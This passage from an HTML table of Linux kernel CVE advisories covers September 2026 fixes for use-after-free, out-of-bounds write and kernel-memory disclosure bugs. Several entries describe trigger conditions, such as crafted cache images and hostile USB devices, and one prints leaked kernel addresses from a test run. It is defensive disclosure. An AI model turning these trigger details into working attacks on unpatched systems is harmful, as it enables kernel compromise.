&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: xhci: dbgtty: Fix unregister on tty_register_driver() failure If tty_register_driver() fails, it drops the reference, but fails to set the global dbc_tty_driver to NULL, causing the unregister to be called again when module exits. On module unload dbc_tty_exit() only gates its cleanup on the driver pointer being non-NULL, so it operates on the already-freed driver: module_init(xhci_hcd_init) xhci_hcd_init() xhci_dbc_init() [return value ignored] dbc_tty_init() tty_register_driver() fails tty_driver_kref_put() -&amp;gt; driver freed (dbc_tty_driver left dangling) ... module_exit(xhci_hcd_fini) xhci_hcd_fini() xhci_dbc_exit() dbc_tty_exit() if (dbc_tty_driver) -&amp;gt; true (dangling) tty_unregister_driver() -&amp;gt; use-after-free&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-80923&quot; target=&quot;_blank&quot;&gt;CVE-2026-80923&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: vlan: fix skb_under_panic and races when toggling HW VLAN offload Toggling hardware VLAN TX offload (NETIF_F_HW_VLAN_CTAG_TX or NETIF_F_HW_VLAN_STAG_TX) on a lower device invokes vlan_transfer_features(), which dynamically changed vlandev-&amp;gt;hard_header_len. This causes two issues: 1. Lockless TX paths (e.g. packet_snd in af_packet.c, ip6_finish_output2) read dev-&amp;gt;hard_header_len without holding RTNL lock. Mutating hard_header_len dynamically under RTNL creates a data race where upper layers reserve insufficient headroom based on a stale hard_header_len, resulting in skb_under_panic when vlan_dev_hard_header() is called. 2. In addition, vlan_transfer_features() updated hard_header_len without updating header_ops, causing a mismatch between allocated headroom and header creation. Always setting dev-&amp;gt;hard_header_len = real_dev-&amp;gt;hard_header_len and dev-&amp;gt;needed_headroom = real_dev-&amp;gt;needed_headroom + VLAN_HLEN unconditionally ensures: - dev-&amp;gt;hard_header_len remains 100% static and immutable at real_dev-&amp;gt;hard_header_len, eliminating all dynamic runtime updates and data races on hard_header_len. - Upper layers allocating skbs via LL_RESERVED_SPACE() will always reserve sufficient headroom for software VLAN tag insertion (real_dev-&amp;gt;hard_header_len + real_dev-&amp;gt;needed_headroom + VLAN_HLEN). - vlandev inherits real_dev-&amp;gt;needed_tailroom so underlying trailer/padding/ICV requirements are honored. - AF_PACKET SOCK_RAW network header offsets remain correctly aligned at real_dev-&amp;gt;hard_header_len. - vlan_header_ops is used unconditionally. Note to stable teams: Make sure to backport these commits: e16e960d55a4 (&quot;ipvlan: inherit needed_headroom and needed_tailroom from phy_dev&quot;) cef51860becd (&quot;macvlan: inherit needed_headroom and needed_tailroom from lowerdev&quot;)&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-80925&quot; target=&quot;_blank&quot;&gt;CVE-2026-80925&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: timekeeping: Check the return value of tk_get_aux_ts64 in __do_adjtimex() If the auxiliary clock is disabled during tk_get_aux_ts64() but is enabled before tks-&amp;gt;clock_valid is checked, then uninitialized stackdata will be used in the calculations and indirectly leaked to userspace. The same race window also exists after this change and also for the core timekeeper. But in these cases the only effect would be incorrect adjustments and this is userspace&#039;s responsibility to avoid this.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-80927&quot; target=&quot;_blank&quot;&gt;CVE-2026-80927&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: tpm: tpm_i2c_nuvoton: disable IRQ on wait timeout i2c_nuvoton_wait_for_stat() enables the IRQ before waiting for the interrupt handler to report a status change. If the wait times out, or is interrupted before the handler runs, the function returns without balancing the enable_irq() call. Disable the IRQ before leaving the failed wait path. Also preserve an interrupted wait&#039;s original error code instead of converting it to -ETIMEDOUT inside the helper.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-80930&quot; target=&quot;_blank&quot;&gt;CVE-2026-80930&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: wifi: mt76: mt7996: fix TX DMA mapping leak for AddBA req frames mt7996/mt7992 hand the firmware a HW MAC-TXP for AddBA req action frames (MT_TXD7_MAC_TXD, set in mt7996_mac_write_txwi_80211()), but are otherwise FW-TXP devices. On tx free mt76_connac_txp_skb_unmap() therefore decodes the per-frame txp as a struct mt76_connac_fw_txp. For a MAC-TXP the fw_txp.nbuf byte aliases the AddBA TID word (MT_TXP1_TID_ADDBA), which is always zero, so the unmap loop runs zero times and the skb DMA mapping in buf[1] is never unmapped. buf[1].skip_unmap is set unconditionally, so the generic DMA-ring cleanup skips it as well. Each AddBA req therefore leaks one TX DMA mapping, roughly one per (re)association. With WED enabled these mappings are bounced through the WED swiotlb pool, so under continuous client reconnect churn the pool is exhausted after ~1-2 days, after which DMA mapping fails for WED, the WiFi MCU and other on-SoC consumers. Keep the deferred (token release) unmap that the design relies on, and add an mt7996-specific txp unmap that inspects MT_TXD7_MAC_TXD and unmaps buf[1] from the MAC-TXP layout for those frames, delegating to mt76_connac_txp_skb_unmap() otherwise.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-80934&quot; target=&quot;_blank&quot;&gt;CVE-2026-80934&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: wifi: mt76: mt7615: avoid waiting for mac work under the mt76 mutex mt7615_suspend() acquired the mt76 mutex and then called cancel_delayed_work_sync() on mac_work. mt7615_mac_work() acquires the same mutex via mt7615_mutex_acquire() at the top of the worker, so if mac_work is already running and blocked on the mutex, the suspend path deadlocks waiting for the work it holds the mutex against. Flush scan_work and mac_work before taking the mutex, matching the suspend paths in mt7921 and mt7925. scan_work only takes the mt76 spinlock, but moving it keeps the sequence consistent. This also keeps mac_work from running over an already suspended HIF, which the previous split (async cancel under the lock, sync cancel after release) would have allowed.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-80938&quot; target=&quot;_blank&quot;&gt;CVE-2026-80938&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: wifi: rtw89: pci: add .shutdown callback to stop rfkill polling on reboot Since the hardware rfkill polling was introduced, arm64 platforms can panic with an asynchronous SError during warm reboot: SError Interrupt on CPU8, code 0x00000000be000011 -- SError Workqueue: events_power_efficient rfkill_poll [rfkill] rtw89_pci_ops_read8+0x94/0x160 [rtw89_pci] rtw89_core_rfkill_poll+0x50/0x1e0 [rtw89_core] rtw89_ops_rfkill_poll+0x40/0x68 [rtw89_core] ieee80211_rfkill_poll+0x3c/0x70 [mac80211] cfg80211_rfkill_poll+0x40/0x2a0 [cfg80211] rfkill_poll+0x30/0x88 [rfkill] Kernel panic - not syncing: Asynchronous SError Interrupt On the reboot path the kernel only runs device_shutdown(), which calls each driver&#039;s .shutdown callback; .remove is not invoked. The rtw89 PCI driver had no .shutdown callback, so nothing stopped the rfkill polling work while the platform was tearing the PCIe link down. Once the link is gone, the next MMIO read from the poll handler targets a non-responding device and is reported as a fatal asynchronous SError on arm64. Add rtw89_pci_shutdown(), wired to all rtw89 PCI device drivers, which sets a new RTW89_FLAG_SHUTDOWN flag (mirroring the USB RTW89_FLAG_UNPLUGGED pattern). When the flag is set, rtw89_ops_rfkill_poll() returns early, so no MMIO read is issued to the chip after shutdown begins and the SError no longer occurs. This does not call the full .remove path from .shutdown, to keep the shutdown handler minimal and avoid running the non-idempotent teardown twice.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-80939&quot; target=&quot;_blank&quot;&gt;CVE-2026-80939&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: wifi: rtw88: pci: fix resource leak on failed NAPI setup rtw_pci_probe() allocates PCI resources through rtw_pci_setup_resource() before it sets up NAPI. If rtw_pci_napi_init() fails, the error path jumps straight to err_pci_declaim and skips rtw_pci_destroy(), leaving the PCI resources allocated by rtw_pci_setup_resource() behind. Add a dedicated cleanup label for the NAPI setup failure path so probe destroys the PCI resources. The bug was first flagged by an experimental analysis tool we are developing for kernel memory-management bugs while analyzing current mainline kernels. The tool is still under development and is not yet publicly available. Manual inspection confirms that the bug is still present in v7.1-rc7. An x86_64 allyesconfig build showed no new warnings. As we do not have a suitable rtw88 PCI board to test with, no runtime testing was able to be performed.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-80940&quot; target=&quot;_blank&quot;&gt;CVE-2026-80940&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: wifi: rtw88: Fix potential memory leak in rtw_txq_push_skb() The skb passed to the rtw_hci_tx_write() is expected to be freed when the function fails, but the error path in rtw_txq_push_skb() does not free the skb before returning. This can lead to a memory leak in rtw_txq_push() where a dequeued skb is passed to rtw_txq_push_skb().&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-80941&quot; target=&quot;_blank&quot;&gt;CVE-2026-80941&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: wifi: rtlwifi: rtl8192du: Fix possible memory leak in rtl92du_init_sw_vars() The memory allocated inside rtl92du_init_shared_data() is not freed in any of the subsequent error paths in rtl92du_init_sw_vars(). Fix that by adding a call to rtl92du_deinit_shared_data() in the error path.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-80942&quot; target=&quot;_blank&quot;&gt;CVE-2026-80942&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: fuse: copy request headers via a stack buffer for io-uring The fuse-io-uring transport copies req-&amp;gt;in.h out to the ring in fuse_uring_copy_to_ring() and req-&amp;gt;out.h back in fuse_uring_commit(). Both headers live inside the fuse_request slab object, whose cache (fuse_req_cachep) is created without a usercopy whitelist, so copying them directly to/from userspace trips CONFIG_HARDENED_USERCOPY and panics: usercopy: Kernel memory exposure attempt detected from SLUB object &#039;fuse_request&#039; (offset 56, size 40)! kernel BUG at mm/usercopy.c:102! Oops: invalid opcode: 0000 [#1] SMP KASAN NOPTI RIP: 0010:usercopy_abort (mm/usercopy.c:90) Call Trace: __check_heap_object (mm/slub.c:8268) __check_object_size (mm/usercopy.c:197 mm/usercopy.c:258 mm/usercopy.c:223) copy_header_to_ring (fs/fuse/dev_uring.c:618) fuse_uring_prepare_send (fs/fuse/dev_uring.c:776 fs/fuse/dev_uring.c:785) fuse_uring_send_in_task (fs/fuse/dev_uring.c:1306) tctx_task_work_run (io_uring/tw.c:96) task_work_run (kernel/task_work.c:233) io_run_task_work (io_uring/tw.h:84) io_cqring_wait (io_uring/wait.c:278) __do_sys_io_uring_enter (io_uring/io_uring.c:2685) entry_SYSCALL_64_after_hwframe (arch/x86/entry/entry_64.S:121) Bounce both headers through an on-stack copy so the usercopy touches stack memory, not the slab object.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-80946&quot; target=&quot;_blank&quot;&gt;CVE-2026-80946&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: wifi: iwlwifi: dvm: fix memory leak in iwl_op_mode_dvm_start() In iwl_op_mode_dvm_start(), jumping to out_free_eeprom currently bypasses the out_free_eeprom_blob label. Consequently, error paths triggered after successfully parsing the EEPROM free priv-&amp;gt;nvm_data but leak priv-&amp;gt;eeprom_blob. Fix this memory leak by reordering the error handling labels so that out_free_eeprom falls through to out_free_eeprom_blob. The bug was first flagged by an experimental analysis tool we are developing for kernel memory-management bugs while analyzing v6.13-rc1. The tool is still under development and is not yet publicly available. Manual inspection confirms that the bug is still present in v7.1-rc6. An x86_64 allyesconfig build showed no new warnings. As we do not have supported Intel DVM wireless hardware and firmware to test with, no runtime testing was able to be performed.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-80948&quot; target=&quot;_blank&quot;&gt;CVE-2026-80948&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: wifi: brcmfmac: Fix memory leak in brcmf_sdio_read_control() The memory allocated for buf is not freed in some of the error paths in brcmf_sdio_read_control(). Fix that by adding vfree() calls. [arend: rework as suggested by Johannes]&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-80949&quot; target=&quot;_blank&quot;&gt;CVE-2026-80949&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: i3c: master: svc: bound IBI payload to the requested max_payload_len svc_i3c_master_handle_ibi() reads the IBI payload from the RX FIFO into the IBI slot. The loop is bounded by the hardware FIFO size (SVC_I3C_FIFO_SIZE), not by the slot size. slot-&amp;gt;data points into the IBI pool, which i3c_generic_ibi_alloc_pool() sizes at max_payload_len per slot. svc_i3c_master_request_ibi() only rejects a max_payload_len larger than SVC_I3C_FIFO_SIZE, so a driver can request a smaller one. mctp-i3c requests 1. Each readsb() then copies the controller RXCOUNT bytes (up to 31) with no check against the slot size. A device that sends more bytes than the slot holds writes past slot-&amp;gt;data, an out-of-bounds write into the IBI pool. Bound the loop by dev-&amp;gt;ibi-&amp;gt;max_payload_len and clamp each read to the space left in the slot, the same way dw-i3c does. A device can still send more than the requested payload. Flush the leftover bytes from the RX FIFO so they do not leak into the next transfer.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-80951&quot; target=&quot;_blank&quot;&gt;CVE-2026-80951&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: dm-pcache: only hand out initialized cache segments get_cache_segment() scans the segment map up to cache-&amp;gt;n_segs, the physical device segment count, but cache_segs_init() only initializes the first cache_info-&amp;gt;n_segs segments. A crafted image with cache_info-&amp;gt;n_segs smaller than the device count leaves the remaining pcache_cache_segment structs zeroed (segment.data == NULL), and the allocator can hand one to cache_kset_close(), which writes through the returned segment&#039;s data pointer with no NULL check. Bound the allocator&#039;s search to cache_info-&amp;gt;n_segs so only initialized segments are ever returned. A conforming cache sets n_segs equal to the device segment count, so this rejects nothing legitimate.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-80956&quot; target=&quot;_blank&quot;&gt;CVE-2026-80956&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: dm-pcache: detect a cycle in the last-kset chain during replay cache_replay() follows the on-media last-kset chain by next_cache_seg_id with no cond_resched(). A forged chain that points back into a segment it has already visited makes the replay loop follow it forever. Cap the last-kset hops at cache-&amp;gt;n_segs; a valid chain visits each segment at most once.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-80957&quot; target=&quot;_blank&quot;&gt;CVE-2026-80957&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: dm-pcache: validate on-media seg_num against the cache device size seg_num is read from the crc32c-only superblock, so whoever supplies the cache device on a table load (CAP_SYS_ADMIN) controls it. It sizes cache-&amp;gt;segments[] and is the value every later on-media segment id is bounded against, yet it is never checked against the device. Because cache_dev-&amp;gt;mapping is the direct map of the pmem, CACHE_DEV_SEGMENT() for a segment id past the device resolves to ordinary kernel memory beyond the mapping; a new-cache init reaching such an id has cache_seg_init() -&amp;gt; cache_dev_zero_range() memset() 12 KiB over that memory -- an out-of-bounds write into the kernel heap at table load. A zero seg_num makes the segment allocations ZERO_SIZE_PTR. Reject a seg_num that is zero, larger than the device can hold, or larger than PCACHE_CACHE_SEGS_MAX before it is used.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-80960&quot; target=&quot;_blank&quot;&gt;CVE-2026-80960&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: dm-stats: fix a crash if allocation of per-cpu data fails If &quot;dm_kvzalloc(percpu_alloc_size, cpu_to_node(cpu))&quot; fails, the code jumps to the &quot;out&quot; label and calls dm_stat_free. dm_stat_free does &quot;for_each_possible_cpu(cpu) { dm_kvfree(s-&amp;gt;stat_percpu[cpu][0].histogram, s-&amp;gt;histogram_alloc_size);&quot;, which crashes with NULL pointer dereference if s-&amp;gt;stat_percpu[cpu] is NULL. This commit fixes the bug by testing s-&amp;gt;stat_percpu[cpu] for NULL before using it.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-80963&quot; target=&quot;_blank&quot;&gt;CVE-2026-80963&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: ALSA: virmidi: Check card index validity at probe virmidi driver blindly trusts that the given devptr-&amp;gt;id value is within the proper card index range at probe. It&#039;s OK for the devices the driver itself creates at the module probe time, but if the device is bound manually via sysfs interface, this could be -1 as &quot;none&quot;, and this leads to OOB access for index[] and other parameters. Add a sanity check for the card index and warn/correct it if it&#039;s a value out of the range.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-80964&quot; target=&quot;_blank&quot;&gt;CVE-2026-80964&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: ALSA: serial-u16550: Check card index validity at probe serial-u16550 driver blindly trusts that the given devptr-&amp;gt;id value is within the proper card index range at probe. It&#039;s OK for the devices the driver itself creates at the module probe time, but if the device is bound manually via sysfs interface, this could be -1 as &quot;none&quot;, and this leads to OOB access for index[] and other parameters. Add a sanity check for the card index and warn/correct it if it&#039;s a value out of the range.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-80965&quot; target=&quot;_blank&quot;&gt;CVE-2026-80965&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: ALSA: portman2x4: Check card index validity at probe Although portman2x4 driver has a check of the given devptr-&amp;gt;id value, it doesn&#039;t check for a negative id, which is often given as &quot;none&quot; or such value when bound via sysfs. This may lead to OOB access for index[] and other parameters. Add a sanity check for the card index and warn/correct it if it&#039;s a value out of the range.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-80966&quot; target=&quot;_blank&quot;&gt;CVE-2026-80966&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: ALSA: mts64: Check card index validity at probe Although mts64 driver has a check of the given devptr-&amp;gt;id value, it doesn&#039;t check for a negative id, which is often given as &quot;none&quot; or such value when bound via sysfs. This may lead to OOB access for index[] and other parameters. Add a sanity check for the card index and warn/correct it if it&#039;s a value out of the range.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-80968&quot; target=&quot;_blank&quot;&gt;CVE-2026-80968&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: ALSA: mpu401: Check card index validity at probe mpu401 driver blindly trusts that the given devptr-&amp;gt;id value is within the proper card index range at probe. It&#039;s OK for the devices the driver itself creates at the module probe time, but if the device is bound manually via sysfs interface, this could be -1 as &quot;none&quot;, and this leads to OOB access for index[] and other parameters. Add a sanity check for the card index and warn/correct it if it&#039;s a value out of the range.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-80969&quot; target=&quot;_blank&quot;&gt;CVE-2026-80969&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: ALSA: FCP: do not copy out an uninitialised init response fcp_ioctl_init() allocates its response buffer with kmalloc() and copies the whole buffer back to userspace: buf_size = init.step0_resp_size + init.step2_resp_size; void *resp __free(kfree) = kmalloc(buf_size, GFP_KERNEL); ... if (copy_to_user(arg-&amp;gt;resp, resp, buf_size)) return -EFAULT; Nothing clears the buffer, and the only writer of its leading step0_resp_size bytes is the step-0 control transfer: err = snd_usb_ctl_msg(dev, usb_rcvctrlpipe(dev, 0), FCP_USB_REQ_STEP0, USB_RECIP_INTERFACE | USB_TYPE_CLASS | USB_DIR_IN, 0, private-&amp;gt;bInterfaceNumber, step0_resp, private-&amp;gt;step0_resp_size); if (err &amp;lt; 0) return err; usb_fill_control_urb() does not set URB_SHORT_NOT_OK, so a short or zero-length data stage completes with status 0 and snd_usb_ctl_msg() returns a small actual_length. The only check is err &amp;lt; 0, so a short transfer is accepted as success. snd_usb_ctl_msg() copies the full size back unconditionally: buf = kmemdup(data, size, GFP_KERNEL); ... memcpy(data, buf, size); Bytes the device never wrote are therefore restored into resp unchanged and copied to userspace. step0_resp_size and step2_resp_size are each validated only to 1..255, so the caller also picks the slab cache, from kmalloc-8 up to kmalloc-512. On 7.2.0-rc5 (arm64), device answering step 0 with a zero-length data stage, s0 = s2 = 255: # init_on_alloc off, no spray step0 window [0,255): nonzero=94/255 000: 00 80 60 06 00 00 ff ff 18 00 00 00 57 01 ea 01 010: 08 78 22 13 00 00 ff ff a8 c4 5f 80 00 80 ff ff # same kernel, kmalloc-512 pre-seeded with an 8-byte tag step0 window [0,255): nonzero=219/255 tagbytes=232 # identical run, init_on_alloc=1 step0 window [0,255): nonzero=0/255 tagbytes=0 # all three runs step2 window [255,510): device words matched=62/62 a8 c4 5f 80 00 80 ff ff is the little-endian kernel text address ffff8000805fc4a8. The step-2 window is unaffected, so the disclosure is exactly the step-0 region. Zero the buffer, and require the step-0 transfer to deliver the full step0_resp_size bytes so a short data stage is reported as an error. Discovered by XBOW, triaged by Baul Lee &amp;lt;baul.lee@xbow.com&amp;gt;&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-80970&quot; target=&quot;_blank&quot;&gt;CVE-2026-80970&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: ALSA: aloop: Check card index validity at probe aloop driver blindly trusts that the given devptr-&amp;gt;id value is within the proper card index range at probe. It&#039;s OK for the devices the driver itself creates at the module probe time, but if the device is bound manually via sysfs interface, this could be -1 as &quot;none&quot;, and this leads to OOB access for index[] and other parameters. Add a sanity check for the card index and warn/correct it if it&#039;s a value out of the range.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-80972&quot; target=&quot;_blank&quot;&gt;CVE-2026-80972&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: ALSA: 6fire: bound the MIDI event length from the device usb6fire_comm_receiver_handler() forwards a MIDI event using a length byte the device supplies, with no bound and no check that the transfer delivered that many bytes: if (!urb-&amp;gt;status) { if (rt-&amp;gt;receiver_buffer[0] == 0x10) /* midi in event */ if (midi_rt) midi_rt-&amp;gt;in_received(midi_rt, rt-&amp;gt;receiver_buffer + 2, rt-&amp;gt;receiver_buffer[1]); } receiver_buffer is a 64-byte kzalloc() buffer (COMM_RECEIVER_BUFSIZE), so only 62 bytes follow the two-byte header. receiver_buffer[1] is a u8 the device chooses, so a device that answers with 0x10 and a length of 0xFF makes snd_rawmidi_receive() read 255 bytes starting two bytes into a 64-byte object. The bytes past the buffer are handed to userspace through the rawmidi read path. urb-&amp;gt;actual_length is not consulted either, so a short transfer leaves both the type byte and the length 